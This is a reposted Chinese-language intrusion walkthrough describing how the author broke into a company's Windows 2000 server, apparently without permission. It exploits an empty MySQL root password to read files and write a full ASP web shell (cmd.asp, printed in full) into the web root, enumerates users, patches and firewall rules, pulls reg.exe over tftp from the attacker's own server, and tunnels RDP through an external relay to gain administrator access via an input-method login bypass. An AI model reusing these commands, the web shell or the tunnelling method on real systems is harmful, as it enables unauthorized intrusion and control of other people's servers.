3306端口的入侵【轉】


這一節說一下3306端口,通過Mysql入侵服務器. 

坦白的講,我對mysql知道的太少,只是知它於mssql相對應的1433端口,它是3306。在w2k上它主要和是php組合,我一直學習的是asp+acess,沒學習過mysql,也從來沒有通過mysql成功入侵過服務器.為了使我的總結生一點光,全面一點,我這兒就轉一篇文章,利用mssql入侵w2k服務器。全文如下,我加了一個圖和一點注解和讀后感:
某天晚上在IRC的時候,一個老朋友說幫他看看他的新主頁的安全性,然后給出URL是abc.target.net,我一看覺得挺眼熟的,target.net公 司里面的CEO,人事部經理,網管我都認識的,前段時間還差點去了那里做網管呢,呵呵,那就看看他們的服務器做的如何吧。 
隨后用nmap掃描了一下abc.target.net,發現開的端口挺多的,看來沒有安裝防火牆或做TCP/IP過濾。從IIS版本判斷是Windows 2000的服 務器。IIS沒什么好利用的,一看開了3306端口,是mysql的,就用我的mysql客戶端嘗試連接了一下,root的密碼竟然為空(lcx注:默認安裝),后來就覺得沒有多 大意思,於是把目標轉www.target.net,他們的主站,哈哈。 
 Ok!先用nmap掃描一下,掃描結果如下: 
  25/tcp open smtp 
  53/tcp open domain 
  80/tcp open http 
  110/tcp open pop-3 
  389/tcp open ldap 
  1002/tcp open unknown 
  3306/tcp open mysql 
然后從IIS版本判斷目標是windows 2000服務器。從開放的端口來看,它要么是安裝了防火牆,要么是做了TCP/IP過濾,呵呵,比 abc.target.net有意思多了。從25和110端口返回的數據來看,他們用的郵件服務器是IMail 6.04,沒什么可利用的。IIS上面網管做了安全配 置,一些默認的CGI漏洞也沒有,這也沒什么好利用的。只剩下最后一個端口了,習慣性的用我的mysql客戶端連接試試: 
F:\cmd〉mysql -u root -h www.target.net 
  Welcome to the MySQL monitor. Commands end with or \g. 
  Your MySQL connection id is 3038 to server version: 3.23.21-beta 
  Type <|>help;<|> or <|>\h<|> for help. Type <|>\c<|> to clear the buffer 
  mysql〉 
也有圖形連接方式,lcx給你個圖看看.
   呵呵,不好意思,看來網管沒有給mysql帳號root設置一個密碼,是默認的空密碼,那么我們就可以利用這個漏洞來做點什么了。如果是 MS-SQL數據庫的話就好辦啦,直接可以用xp_cmdshell來運行系統命令,但是可惜的是mysql沒有類似MS-SQL那樣的擴展存儲過程。 
現在我們可以利用這個漏洞來做三件事情: 
〈1〉搜索mysql數據庫里面的內容,看能不能找出一些有用的敏感信息,我找了一會兒就不想找了,呵呵 
〈2〉讀取服務器上的任何文件,當然前提是知道文件的物理路徑 
〈3〉以啟動mysql服務用戶的權限往服務器上寫文件,前提是這個文件要不存在的,就是說不能覆蓋文件 
如果我們知道IIS主目錄的物理路徑的話,我們就可以往上面寫一個ASP上去,然后通過IE來執行系統命令。怎么得到IIS目錄的物理路徑呢 ?天知道! 
沒辦法,猜吧。。。。。。先在mysql默認數據庫test中建一個表tmp,這個表只有一個字段str,類型為TEXT, 
mysql〉 use test;create table tmp(str TEXT); 
  Database changed 
  Query OK, 0 rows affected (0.05 sec) 
然后憑着自己做網管的直覺,開始猜測IIS主目錄的物理路徑,c:\inetpub\wwwroot,c:\www,c:\wwwroot,c:\inetpub\web,d:\web, d:\wwwroot,都不對,55555。大概猜測到第10次,我的mysql客戶端回顯信息如下: 
mysql〉load data infile "d:\\www\\gb\\about\\about.htm" into table tmp; 
Query OK, 235 rows affected (0.05 sec) 
Records: 235 Deleted: 0 Skipped: 0 Warnings: 0 
哈哈哈,猜中了,IIS主目錄的物理路徑是d:\www,因為上面的文件的虛擬路徑是http://www.target.net/gb/about/about.htm,看來我得 
到一個shell了,呵呵。 
接下來我們就可以往d:\www\gb\about里面寫一個ASP文件進去,然后通過http://www.target.net/gb/about/cmd.asp來執行系統命令了。

然后在網上找來一個現成的cmd.asp,懶的自己去寫了:)。Cmd.asp如下: 
-------------------------------cmd.asp----------------------------------------

〈% Dim oScript 
Dim oScriptNet 
Dim oFileSys, oFile 
Dim szCMD, szTempFile 
On Error Resume Next 
Set oScript = Server.CreateObject(""WSCRIPT.SHELL"") 
Set oScriptNet = Server.CreateObject(""WSCRIPT.NETWORK"") 
Set oFileSys = Server.CreateObject(""Scripting.FileSystemObject"") 
szCMD = Request.Form("".CMD"") 
If (szCMD 〈〉 """") Then 
szTempFile = ""C:\" & oFileSys.GetTempName() 
Call oScript.Run (""cmd.exe /c "" & szCMD & "" 〉 "" & szTempFile, 0, True) 
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) 
End If %〉 
〈HTML〉〈BODY〉〈FORM action=""〈%= Request.ServerVariables(""URL"") %〉"" method=""POST""〉 
〈input type=text name="".CMD"" size=45 value=""〈%= szCMD %〉""〉〈input type=submit value=""Run""〉〈/FORM〉〈PRE〉 
〈% If (IsObject(oFile)) Then 
On Error Resume Next 
Response.Write Server.HTMLEncode(oFile.ReadAll) 
oFile.Close 
Call oFileSys.DeleteFile(szTempFile, True) 
End If%〉 
〈/BODY〉〈/HTML〉

----------------------------end of cmd.asp-----------------------------------

  由於往mysql數據庫中插入數據的時候,會過濾特殊字符什么的,例如雙引號之類的,特別麻煩。各位留意沒有,上面的ASP語句中,都是 兩個雙引號一起的,這樣才能寫進去,原來是一個雙引號的。然后我在數據庫中再建一個表: 
mysql〉 use test;create table cmd(str TEXT); 
Database changed 
Query OK, 0 rows affected (0.05 sec) 
然后用如下語句,一句一句把上面的ASP寫進去: 
mysql〉 insert into cmd values("一行一行的asp代碼,呵呵"); 
為什么不全部一起寫進去呢?呵呵,換行后,一會兒導出的文件就會有特殊字符了,asp就不能正常運行了,只能辛苦點一行一行寫了。然 后把asp文件導到服務器上: 
mysql〉select * from cmd into outfile "d:\\www\\gb\\abou\\cmd.asp"; 
然后把我們剛才建的表都刪除掉: 
mysql〉 use test; drop table tmp; drop table cmd; 
ok!我們得到一個shell了,雖然權限不高,但畢竟已經向取得admin權限邁出一大步了,不是嗎,呵呵。做這個asp文件可花了我不少時間 哦。現在我們利用這個shell來收集系統信息,嘗試取得admin權限。 
〈1〉先看一下系統文件權限設置如何: 
c:\ Everyone:(OI)(CI)F 
d:\ \xxx:(OI)(CI)(DENY)(特殊訪問:) 
DELETE 
READ_CONTROL 
WRITE_DAC 
WRITE_OWNER 
STANDARD_RIGHTS_REQUIRED 
FILE_READ_DATA 
FILE_WRITE_DATA 
FILE_APPEND_DATA 
FILE_READ_EA 
FILE_WRITE_EA 
FILE_EXECUTE 
FILE_DELETE_CHILD 
FILE_READ_ATTRIBUTES 
FILE_WRITE_ATTRIBUTES 
Everyone:(OI)(CI)F 
看來我們現在就可以讀寫硬盤上的任何文件了,現在就可以改他的首頁了,但這樣做沒意思,對不對,我們的目標是取得admin權限,呵呵 。
〈2〉然后搜索一下硬盤上都有些什么文件: 
c:\Program Files 的目錄下有兩個比較有意思的文件, 
2000-12-19 13:10  Serv-U 
2001-01-20 22:43 綠色警戒 
把Serv-U里面的用戶和密碼讀出來看看后,沒有什么用處,然后進入綠色警戒目錄看看,呵呵,除了log外,什么都沒有,呵呵。 
〈3〉再看看都有哪些用戶: 
Guest IUSR_SERVER_1 IUSR_SERVER-2 
IWAM_SERVER_1 IWAM_SERVER-2 ceo[他們CEO的帳號J] 
TsInternetUser 
管理員有ceo 和target\Domain Admins,看來這台機器是他們域中的一台服務器。開始本來想給ceo下一個套,在他的啟動目錄里放一個程序,但后來看到這個帳號已經幾個月沒登陸了,就放棄了。 
〈4〉看看啟動了那些服務,這幾個比較有意思, 看來都是默認的: 
Task Scheduler 
Simple Mail Transport Protocol (SMTP) 
Task Scheduler 
〈5〉看看網絡狀況,這幾個比較有意思:

 

TCP 0.0.0.0:21 0.0.0.0:0 LISTENING 
TCP 0.0.0.0:119 0.0.0.0:0 LISTENING 
TCP 192.168.1.3:3389 0.0.0.0:0 LISTENING

  看來有TermService,不過在網卡上做了TCP/IP過濾,只對內網開放,那么我們就來

〈6〉看看網卡設置信息:

Ethernet adapter 本地連接: 
Connection-specific DNS Suffix . : 
Description . . . . . . . . . . . : Realtek RTL8139(A) PCI Fast Ethernet Adapter 
Physical Address. . . . . . . . . : 00-E0-4C-68-C4-B2 
DHCP Enabled. . . . . . . . . . . : No 
IP Address. . . . . . . . . . . . : 192.168.1.3 
Subnet Mask . . . . . . . . . . . : 255.255.255.0 
Default Gateway . . . . . . . . . : 
DNS Servers . . . . . . . . . . . : 
Ethernet adapter 本地連接 2: 
Connection-specific DNS Suffix . : 
Description . . . . . . . . . . . : Realtek RTL8139(A) PCI Fast Ethernet Adapter#2 
Physical Address. . . . . . . . . : 00-E0-4C-68-B8-FC 
DHCP Enabled. . . . . . . . . . . : No 
IP Address. . . . . . . . . . . . :xxx 
Subnet Mask . . . . . . . . . . . : 
Default Gateway . . . . . . . . . :

經過上面的一些步驟,對這台服務器的設置情況就有了一個大概的了解。如何取得admin權限?netdde?pipeupadmin?呵呵,無法利用,沒 有可利用的可以登陸的用戶。下套?等到什么時候,呵呵。

  Okok!讓我們來看看這個系統都打了些什么補丁。怎么查看?呵呵,打了補丁后,信息都會存貯在注冊表中,查詢注冊表中的這個鍵值就行 
了:"HKLM\Software\Microsoft\Windows NT\CurrentVersion\hotfix",這樣的話,我們得上傳一個reg.exe[M$ Resource Kit中的命令行注冊 表編輯器]到服務器里面,我們才能操作他的注冊表。開始我想用先寫一個ftp腳本,然后ftp -s:cmd.txt讓他到我的服務器來下載,但結果失 敗了,后來才想起他做了TCP/IP過濾,5555,我記性真不好。怎么辦呢?有辦法,用tftp來傳輸。我先在我的服務器上安裝了一個Cisco TFTP 
Server,然后在目標機器上運行tftp -I www.eyas.org GET reg.exe,呵呵,傳輸過去咯。然后運行 
REG QUERY "HKLM\Software\Microsoft\Windows NT\CurrentVersion\hotfix" 
返回數據如下: 
Listing of [Software\Microsoft\Windows NT\CurrentVersion\hotfix]

[Q147222]==〉這個不知道是什么東西,好象默認2k機器上都有 
[Q269862]==〉Q269862_W2K_SP2_x86_CN.EXE==〉Microsoft IIS Unicode解碼目錄遍歷漏洞! 
[Q277873]==〉Q277873_W2K_sp2_x86_CN.EXE==〉Microsoft IIS CGI文件名檢查漏洞! 
呵呵,==〉和后面的說明是我加上去的,不是注冊表中的。看來管理員不太勤快啊,只打了兩個補丁。 
哈哈!到了這一步,大家想到怎么取得admin權限了嗎?呵呵,你一定也想到了,他的機器開了TermService服務,但windows2000登陸驗證 可被繞過的漏洞沒有安裝補丁,此補丁為Q270676_W2K_SP2_x86_CN.EXE。由此看來,管理員只是刪除了幫助法文件,而沒有打補丁。用dir 
c:\winnt\help\win*驗證一下,果然沒有熟悉的輸入法幫助文件。敵人沒有輸入法,我們幫他造,hoho~~別忘了我們可以往任何地方寫文件哦。 
嘻嘻,咱們也別高興的太早了,別忘了他的機器做了TCP/IP過濾哦,我們是沒有辦法連接到他的3389端口的。不要着急,不要着急,讓我 們先來看看他的TCP/IP過濾的設置情況。怎么看呢?老辦法,查看注冊表里面的鍵值啦。用剛才的reg.exe查詢 
〈1〉reg QUERY "HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces" 
Listing of [System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces] 
[{4B41CFFB-4A20-42F8-9087-A89FE71FD8F4}] 
[{612A3142-DB85-4D4E-8028-81A9EB4D6A51}] 
〈2〉reg QUERY "HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\ 
{4B41CFFB-4A20-42F8-9087-A89FE71FD8F4}" 
Listing of [System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\ 
{4B41CFFB-4A20-42F8-9087-A89FE71FD8F4}] 
MULTI_SZ IPAddress 
MULTI_SZ TCPAllowedPorts 25;53;80;110;3306; 
MULTI_SZ UDPAllowedPorts 0; 
MULTI_SZ RawIPAllowedProtocols 0; 
〈3〉reg QUERY "HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\ 
{612A3142-DB85-4D4E-8028-81A9EB4D6A51}" 
Listing of [System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\ 
{612A3142-DB85-4D4E-8028-81A9EB4D6A51}] 
MULTI_SZ IPAddress 192.168.1.3; 
MULTI_SZ TCPAllowedPorts 0; 
MULTI_SZ UDPAllowedPorts 0; 
MULTI_SZ RawIPAllowedProtocols 0; 
 篇幅關系,我過濾了一些輸出。第二次查詢的是外網網卡,我們可以得知只開放了TCP 25,53,80,110,3306,UDP全部,IP協議全部。 第三次查詢的是內網網卡,沒有任何限制。 
現在我們可以把輸入法幫助文件上傳到他的c:\winnt\help目錄下去,然后如果能連接到他的3389端口的話,我們就可以得到admin權限了。問 題的關鍵是外網網卡做了TCP/IP限制。55555,怎么辦呢?如何突破?有辦法!我們可以利用socket轉發和反彈端口技術,照樣可以連接到敵人 的TermService!

具體過程如下:

〈1〉在我的另一台服務www.eyas2.org[我稱他為AgentMaster]上運行一個程序,監聽3389端口[等待我的TermClient去連接],監聽11111端

口[等www.target.net來連接],當然了,第2個端口可以隨便選,第1個端口選其他的話,就要相應的修改 
TermClient,比較麻煩

〈2〉www.target.net[我稱他為AgentSlave]運行另外一個程序, 先連接www.eyas2.org:11111,再連接到192.168.1.3:3389[敵人服務器 內網的IP]

〈3〉 我的TermClient連接www.eyas2.org:3389,這樣,數據通道就全部建立好了。接下來,兩個程序就忠實的為我們轉發數據了。 
注意www.eyas2.orgwww.eyas.org可以為同一台服務器,但要保www.target.net能connect上你的服務器。192.168.1.3也可以換為他內網 的任何一個IP。這樣,當我用TermClient連接www.eyas2.org的時候,其實是連接www.target.net。當熟悉的登陸界面出現在我面前,我熟練的調出輸入法,取得admin權限,呵呵,心里還有那么一點點成就感!

簡要的回顧一下:發現mysql漏洞==〉憑直覺猜中IIS物理路徑==〉寫一個cmd.asp文件上去得到一個shell==〉利用系統配置錯誤取得admin 權限接下來要做的事情,就是把漏洞通知他們的網管了[我可不敢直接告訴他們CEO,呵呵],本來想在那機器上裝個sniff什么的,再用來做跳 板進一步嘗試入侵他的內網,但后來想想還是算了,呵呵。 
這是我在網上發現一篇好文章,讀起來如飲香醇,滿心喜悅,並對作者由衷佩服,贊賞他的技術,更是思路.這也是我們菜鳥和偽高手努力的一個方向了.mysql入門指南


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM